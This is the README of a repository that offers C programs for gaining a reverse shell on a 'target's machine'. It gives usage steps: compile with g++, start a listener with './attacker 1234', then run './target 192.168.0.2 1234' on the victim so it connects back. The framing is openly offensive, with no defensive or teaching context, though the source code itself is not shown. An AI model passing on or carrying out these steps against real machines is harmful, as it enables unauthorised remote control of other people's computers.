reverseShell
reverseShell copied to clipboard
Attacker can use the scripts to gain reverse shell of a target's machine.
reverseShell

👨💻 Script in C which after compiling can be used by an Attacker to gain a shell of Target machine.
Usage
Firstly, you should compile the above C programs. In my case I used g++
compiler and gave the output files name as attacker
and target
respectively.
1. Setup a server and listen for incoming connections.
On your machine setup a server and start listening on a port.
./attacker 1234
2. Execute client script on target and setup a connection to the server
You can do this by simply executing the target compiled file
./target 192.168.0.2 1234
Now you should have gained a shell on the server machine.
Demo
License
MIT © y_k_007